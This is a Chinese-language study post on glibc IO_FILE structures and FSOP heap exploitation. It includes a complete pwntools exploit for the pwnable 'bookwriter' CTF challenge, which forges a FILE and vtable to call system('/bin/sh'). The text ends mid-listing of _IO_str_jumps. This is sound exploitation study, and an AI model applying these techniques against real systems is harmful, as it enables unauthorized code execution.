基础

相关结构体

先看IO_FILE结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];//如果文件缓冲区是unbuffered(),则_shortbuf[1]用作缓冲区。

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;//
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode; //<=0为非宽字节,>0为宽字节
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

其又被封装于_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

其中_IO_jump_t结构体的定义为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

虚表函数的定义一般都在libio/fileops.c中

一些虚表函数定义找不到对应的函数是因为做了一些替代

1
2
3
4
5
6
7
8
9
10
11
12
13
versioned_symbol (libc, _IO_new_do_write, _IO_do_write, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_attach, _IO_file_attach, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_close_it, _IO_file_close_it, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_finish, _IO_file_finish, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_fopen, _IO_file_fopen, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_init, _IO_file_init, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_setbuf, _IO_file_setbuf, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_sync, _IO_file_sync, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_overflow, _IO_file_overflow, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_seekoff, _IO_file_seekoff, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_underflow, _IO_file_underflow, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_write, _IO_file_write, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_xsputn, _IO_file_xsputn, GLIBC_2_1);
1
#define versioned_symbol(lib,local,symbol,version) weak_alias (local, symbol)

一个进程中的所有FILE结构体会通过_chain字段连接成为一个单链表,链表的头部是全局变量_IO_list_all

1
extern struct _IO_FILE_plus *_IO_list_all;

这个_IO_list_all也是采取的头插入法

_IO_list_all位于libc中

三个特殊流

在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr

但是在第一次使用前,均属于未被初始化状态(主要是_IO_read_ptr到_IO_buf_end这个8个域),其初始化时分配的缓冲区位于堆,且一般是堆最早的三个堆块.

因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。

libc.so 中存在 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是

1
2
3
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
关于上面这句话的理解

学习过程中经常遇到符号这个概念,这里学习一下

在 C 语言中,变量的名字就是符号(symbol)。当编译器编译源代码时,会在符号表(symbol table)中为每个符号分配一个唯一的标识符,并记录它的类型、作用域和存储位置等信息。对于全局变量和静态变量,它们的符号被放置在全局符号表中,而对于局部变量,则被放置在局部符号表中。

也就是说一个符号被用来代表一个变量的实例,而这个变量可以是结构体,函数或常规变量类型等等

在了解了符号之后就能理解上面这句话了

_IO2_1_stderr\和_IO_2_1_stdout\_IO_2_1_stdin\这三个符号对应的是三个IO_FILE结构体变量的名字

stdin\stdout\stderr三个符号是指向三个IO_FILE结构体变量的指针变量的名字

fwrite和fread

fread 的实现被封装在_IO_fread,真正实现功能的是其中的_IO_sgetn,而_IO_sgetn又会调用_IO_XSGETN,而_IO_XSGETN 是vtable 中的函数指针,在调用这个函数时会首先取出 vtable 中的指针然后再进行调用。默认情况下_IO_file_xsgetn中存储的指针指向_IO_file_xsgetn

fwrite的实现被封装在_IO_fwrite中,在_IO_fwrite 中主要是调用_IO_XSPUTN 来实现写入的功能。_IO_XSPUTN是位于vtable中的函数指针,在_IO_XSPUTN 指向的_IO_new_file_xsputn 中会调用同样位于 vtable 中的_IO_OVERFLOW,_IO_OVERFLOW 默认指向的函数是_IO_new_file_overflow

fopen和fclose

fopen 的操作是

  • 使用 malloc 分配 FILE 结构
  • 设置 FILE 结构的 vtable
  • 初始化分配的 FILE 结构
  • 将初始化的 FILE 结构链入 FILE 结构链表中
  • 调用系统调用打开文件

fclose的操作是

  • 将指定的 FILE 从_chain 链表中脱链
  • 调用系统接口 close 关闭文件
  • 最后调用 vtable 中的_IO_FINISH,其对应的是_IO_file_finish 函数,其中会调用 free 函数释放之前分配的 FILE 结构

printf和puts

printf 和 puts 是常用的输出函数,在 printf 的参数是以’\n’结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。

puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。


_flags标记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/* Magic number and bits for the _flags field.  The magic number is
mostly vestigial, but preserved for compatibility. It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits. */

#define _IO_MAGIC 0xFBAD0000 /* Magic number 可以校验文件是否有效*/
#define _IO_MAGIC_MASK 0xFFFF0000//掩码,用于提取flag有效部分
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002//文件流处于无缓冲模式
#define _IO_NO_READS 0x0004 /* Reading not allowed.读文件流被禁止 */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed.写文件流被禁止 */
#define _IO_EOF_SEEN 0x0010//文件流已经到达文件的末尾
#define _IO_ERR_SEEN 0x0020//文件流上发生了错误
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.执行文件删除操作时不关闭文件流 */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100//文件流正在执行备份操作
#define _IO_LINE_BUF 0x0200//文件流为行缓冲模式
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison.关联put和get */
#define _IO_CURRENTLY_PUTTING 0x0800//文件流当前正在写入数据(往文件流中写入数据)
#define _IO_IS_APPENDING 0x1000//文件流处于"追加模式"
#define _IO_IS_FILEBUF 0x2000//标志表示流对象使用了文件缓冲,这意味着它与底层文件描述符相关联,可以用于标准文件操作,如读取和写入文件。
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000//表示用户已经为文件流提供了自定义的锁

#define CLOSED_FILEBUF_FLAGS (_IO_IS_FILEBUF+_IO_NO_READS+_IO_NO_WRITES+_IO_TIED_PUT_GET)
Expands to:
(0x2000+0x0004+0x0008+0x0400)

/* Bits for the _flags2 field. */
#define _IO_FLAGS2_MMAP 1 //文件流支持使用内存映射进行I/O操作
#define _IO_FLAGS2_NOTCANCEL 2//表示文件流的操作不会被取消,即使在多线程或异步环境下发生了取消操作。这可以用于确保某些文件操作不会被中断或取消,以避免不一致的状态。
#define _IO_FLAGS2_USER_WBUF 8//文件流不使用标准C库的内部缓冲区,而是依赖于用户提供的缓冲区来进行写入操作
#define _IO_FLAGS2_NOCLOSE 32//关闭文件流时不关闭底层文件描述符,从而允许在文件描述符上进行进一步的操作。
#define _IO_FLAGS2_CLOEXEC 64//文件流在执行exec系统调用时关闭文件描述符,确保在执行新程序时不会继续继承文件描述符。
#define _IO_FLAGS2_NEED_LOCK 128//表示文件流需要互斥锁mutex来确保多线程环境下的安全访问

全缓冲没有专有的标志位,当行缓冲和无缓冲标志位皆为0时一般是全缓冲状态

read和write

read和write这两个系统调用一般不经过用户缓冲区
与_IOFILE结构(_IO_2_1_stdin\,_IO2_1_stdout)也没什么交集

亦不受行缓冲全缓冲这些限制

当执行read(0,dest,size)时,发送长度为len的数据

  1. 若len小于等于size,read读入len长度的数据
  2. 若len大于size,则read只读入size长度的数据,并将多余的len-size长度数据留待下一次read调用

当执行write(1,dest,size)时

一般情况无论如何都会写出size长度内容

读缓冲区和写缓冲区的操作差异

与缓冲模式关联较大,以全缓冲为例

不过缓冲区模式对写的影响要比对读的影响要更大

读缓冲区

  1. _IO_read_base:这是指向输入缓冲区的起始位置的指针。输入缓冲区是一个内存区域,用于存储从文件中读取的数据。初始时,_IO_read_base 指向输入缓冲区的起始位置。
  2. _IO_read_ptr:这是指向下一个待读取的文件数据的位置的指针。在开始读取数据时,_IO_read_ptr 指向 _IO_read_base,然后随着数据的读取逐渐向后移动。当数据从文件流中读取时,_IO_read_ptr 向后移动,指向下一个可以读取的位置。
  3. _IO_read_end:这是指向输入缓冲区的末尾位置的指针。当 _IO_read_ptr 到达 _IO_read_end 时,表示输入缓冲区已空,没有更多数据可供读取。此时,可能会触发重新填充输入缓冲区的操作。

写缓冲区

  1. _IO_write_base:这是指向输出缓冲区的起始位置的指针。输出缓冲区是一个内存区域,用于存储待写入文件的数据。初始时,_IO_write_base 指向输出缓冲区的起始位置。
  2. _IO_write_ptr:这是指向下一个待写入文件的数据的位置的指针。在开始写入数据时,_IO_write_ptr 指向 _IO_write_base,然后随着数据的写入逐渐向后移动。当数据写入输出缓冲区时,_IO_write_ptr 向后移动,指向下一个可以写入的位置。
  3. _IO_write_end:这是指向输出缓冲区的末尾位置的指针。当 _IO_write_ptr 到达 _IO_write_end 时,表示输出缓冲区已满。这通常触发缓冲区的刷新操作,将缓冲区中的数据写入文件,并重新设置 _IO_write_ptr_IO_write_base,以准备接受更多的数据。

_IO_FILE一些字段解释

_offset

IO_FILE 结构的 _offset 字段是用于文件定位的,它指示文件流的当前位置或偏移量。这个字段记录了文件流当前的读写位置,以便在读写文件时进行定位和管理。它的主要作用包括:

  1. 文件定位:_offset 字段指示文件流中当前的读写位置。在读取或写入文件时,它用于确定从文件的哪个位置开始读取或写入数据。

  2. 文件指针的移动:fseekfsetpos 等函数可用于显式地更改文件流的 _offset 字段,以将文件指针移动到指定的位置。

  3. 文件读写的相对位置: _offset 字段允许程序知道文件流在读取或写入时相对于文件开头的位置,这对于文件的随机访问非常有用。

  4. 文件尾标记: _offset 字段还用于跟踪文件流是否已经达到文件的末尾。当 _offset 达到文件的末尾时,进一步的读取操作将返回文件结束标记(EOF)。

1
2
3
4
5
6
7
8
/* _IO_pos_BAD is an off64_t value indicating error, unknown, or EOF.  */
#define _IO_pos_BAD ((off64_t) -1)//文件末尾

/* _IO_pos_adjust adjusts an off64_t by some number of bytes. */
#define _IO_pos_adjust(pos, delta) ((pos) += (delta))//文件中间某位置

/* _IO_pos_0 is an off64_t value indicating beginning of file. */
#define _IO_pos_0 ((off64_t) 0)//文件起始

这个字段十分重要,

每一次文件流读写操作的基址都由其决定,fread,fwrite等函数操作完成后都会将_offse后移

为了准确的定位_offset

读写时会有各种操作平衡读写一致

_cur_column

_cur_columnIO_FILE 结构中的字段,用于跟踪文件流的当前列位置(column position)。这个字段通常用于文本文件的处理,以记录最后一个字符写入或读取的列位置。具体作用如下:

  1. 列位置跟踪:_cur_column 字段记录文件流中当前字符的列位置。在文本文件中,这可以表示当前字符在行中的偏移量,以便进行格式化或对齐文本。

  2. 文本格式化:在文本文件的读写过程中,_cur_column 字段可以用于确保文本数据按列或字段正确对齐。例如,它可用于在写入文本数据时进行缩进或对齐,以确保文本格式的一致性。

  3. 读取和写入的参考点:_cur_column 字段可以作为读取或写入的参考点,以确定下一个字符的列位置。这对于编写自定义文本处理代码非常有用,例如,在解析CSV文件或生成格式化的文本输出时。

save

_IO_FILE 是在C标准库中用于文件输入/输出的数据结构,通常被简称为 FILE 结构。在 FILE 结构中,_IO_save_base_IO_backup_base_IO_save_end 是用于实现缓冲的字段,它们用于高效地管理文件数据的读取和写入。下面是它们的作用:

  1. _IO_save_base
    • _IO_save_base 是一个指向缓冲区的指针,它指向了当前输入/输出操作的起始位置。
    • 当你进行文件读取操作时,_IO_save_base 会指向文件数据的起始位置。
    • 在某些情况下,例如当需要执行回退(unget)操作时,它用于保存当前位置,以便后续可以恢复到之前的位置。
  2. _IO_backup_base
    • _IO_backup_base 是另一个指向缓冲区的指针,它指向上一个 _IO_save_base 的位置。
    • 通常,当进行某些文件操作,如 fseekfsetpos,需要保存当前位置和状态,以便之后可以恢复到之前的状态。_IO_backup_base 用于保存这些状态信息。
  3. _IO_save_end
    • _IO_save_end 是一个指向缓冲区的指针,它指向当前输入/输出操作的结束位置。
    • 在文件写入操作中,_IO_save_end 指示了数据写入的结束位置。
    • 在文件读取操作中,_IO_save_end 可能会被用于确定何时需要重新填充缓冲区。

marker

用于支持文件流缓冲的定位的

1
2
3
4
5
6
7
8
struct _IO_marker {
struct _IO_marker *_next;
FILE *_sbuf;
/* If _pos >= 0
it points to _buf->Gbase()+_pos. FIXME comment */
/* if _pos < 0, it points to _buf->eBptr()+_pos. FIXME comment */
int _pos;
};

_mode

正常情况下取值有三种情况:

  1. 负数,一般为-1
  2. 0
  3. 正数,一般为1

其中前两者都是窄字符模式,后者是宽字符模式

虽然理论上1和3两种情况可能有很多取值,但某些特殊情况下(例如puts,printf的stdout初始检测中),只将0和-1判定为窄字符模式,剩下的都代表宽字符模式

FSOP

FSOP 是 File Stream Oriented Programming 的缩写。所有的 _IO_FILE 结构会由 _chain 字段连接形成一个链表,由全局变量 _IO_list_all 来维护表头。而 FSOP 的核心思想就是劫持通过 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项。

0x1

先看FSOP技术利用的核心函数_IO_flush_all_lockp

该函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush(更新缓存区函数),也对应着会调用vtable 中的_IO_overflow(以当前io_file指针为参数)。

关键部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
while (fp != NULL)
{

......
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

......
}

可见要执行_IO_OVERFLOW的前提是:

  1. fp->_mode<=0
  2. fp->_IO_write_ptr>fp->_IO_write_base

或者:

  1. fp->_mode > 0
  2. _IO_vtable_offset (fp) == 0
  3. fp->_wide_data->_IO_write_ptr>fp->_wide_data->_IO_write_bas

其中# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset就是获得_IO_FILE结构体中的_vtable_offset

这二者都是可行的,不过个人比较喜欢用前者更方便

0x2

那么该如何调用_IO_flush_all_lockp

_IO_flush_all_lockp 在以下三种情况下会被系统调用:

  1. 当执行 abort 流程时
  2. 当执行 exit 函数时
  3. 当执行流从 main 函数返回时

0x3

在堆中,触发错误时的malloc_printer函数会调用abort

2.23利用

从以上可知只要分别伪造_IO_FILE和vtable,部署好函数调用

例如除绕过检测之外

  1. 在IO_FILE开头写上b’/bin/sh\0’
  2. IO_OVERFLOW写为system

就能getshell

IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
//宏定义,如果宏_IO_USE_OLD_IO_FILE会把_IO_FILE拆成两个部分
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

实现

利用unsortedbin attack往IO_list_all中写入main_arena+0x58

由于_chain字段在_IO_FILE中的偏移是0x68

那么就会将真实大小为0x60chunk的bk字段视为_chain字段,故该bk需指向fake_IO_FILE

所以fake_IO_FILE需要被加入0x60的smallbin中,并确保是最后一个chunk

一般是触发从unsortedbin往外取出,放入smallbin后,继续取出(IO_list_all-0x10)但因为大小不通过检测,触发malloc_printer,以此getshell

IO_list_all-0x10视为chunk的话size字段是空的(固定内存)

1
2
3
4
5
6
7
8
9
10
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);

不过在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。会验证 vtable 是否位于_IO_vtable 段中,这就使得这种办法失效了

实战pwnable_bookwriter

checksec

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/bw'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

libc是2.23

主要漏洞点:

  1. 根据内存判断应该只能存储8个book,但是add函数判断时是if(a>8)结合函数功能会将一个book的size覆写为一个地址(一个很大的数值)
  2. edit函数后会将book的size根据新输入的字符串调整,如果和下一个chunk的size连接起来就可以多写一个字节到下一个chunk
  3. author长度为0x40时,可以向下继续泄露地址

利用核心:

  1. 这题没有free功能,要想泄露libc就要对topchunk动手脚(本体可以修改其大小,再申请一个比修改后的size大的大小,使topchunk加入unsortedbin)
  2. 具体的漏洞利用实现要用到FSOP
  3. topchunk在这道题中非常关键

实现过程:

  1. 泄露heap
  2. 通过topchunk进入unsortedbin泄露libc
  3. 第0个chunk大数字写伪造io_file和vtable
  4. 申请chunk利用unsortedbin attack写IO_file,并让fake_iofile加入到smallbin链并成功进入fake_io_list_all,并因为unsortedbin链损坏触发malloc_printer以此getshell

触发trigger(将IO_list_all-0x10视为chunk起始的话,size==0)

exp:(有小概率失败,可能是ASLR的影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64',os='linux')
elf= ELF("./bw")
libc=ELF("/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
p=process('./bw')

def add(size,content):
p.sendlineafter(b'choice :',b'1')
p.sendlineafter(b'page :',str(size).encode())
p.sendafter(b'Content :',content)

def view(idx):
p.sendlineafter(b"choice :",b"2")
p.sendlineafter(b'page :',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"choice :",b"3")
p.sendlineafter(b"page :",str(idx).encode())
p.sendafter(b"Content:",content)

def show():
p.sendlineafter(b"choice :",b"4")


p.sendafter(b'Author :',b'a'*0x40)

add(0x18,b'a')
edit(0,b'a'*0x18) #top chunk size edit

edit(0,b'\x00'*24+b'\xe1\x0f\x00')

# leak heap
show()
p.recvuntil(b'a'*64)
heap_addr = u64(p.recvline()[0:-1].ljust(8,b'\0'))
print(hex(heap_addr))
p.sendlineafter(b'(yes:1 / no:0) ',b'0')

add(0x1000,'a') #add top chunk to unsorted bin

for i in range(7):
add(0x50,'a'*0x8)


view(3)
p.recvuntil('aaaaaaaa')
libc_addr = u64(p.recvline()[0:-1].ljust(8,b'\0'))
libc.address = libc_addr - 0x3c4b78
print ('libc_base: ', hex(libc.address))
print ('libc_addr:', hex(libc_addr))
print ('system: ',hex(libc.symbols['system']))
print ('heap: ',hex(heap_addr))
print ("_IO_list_all: " + hex(libc.symbols['_IO_list_all']))

data = b'\0'*0x2b0
payload = b'/bin/sh\0'+p64(0x61)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)
payload=payload.ljust(0xc0,b'\x00')
payload += p64(0)
payload = payload.ljust(0xd8,b'\x00')
vtable = heap_addr + 0x2b0 +0xe0
payload += p64(vtable)
payload +=p64(0)*3+p64(libc.symbols['system'])


edit(0,data + payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Size of page :')
p.sendline(str(0x10).encode())

p.interactive()

2.24后新机制下利用

变化

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - start_libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果 vtable 是非法的,那么会引发 abort。

在加入这个限制后,对vtable的利用几乎难以实现

故将视线转向IO_FILE本身

当然这些利用在之前的版本亦有效


不过这个检查其实并不是非常严格

如果只是在vtable所在段内进行劫持并不一定会触发错误

fileno 与缓冲区的相关利用

_IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用诸如 fwrite、fread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。

因为三个标准流的存在

无需文件操作,直接利用scanf\printf便可以进行利用。

其中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,通过控制这两个数据可以实现控制读写的操作。

_IO_str_jumps

libc.so中还存在其他的无检查的vtable如_IO_str_jumps和_IO_wstr_jumps,其中前者的绕过更为简单

以前者为例,源码位于bits/strops.c中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
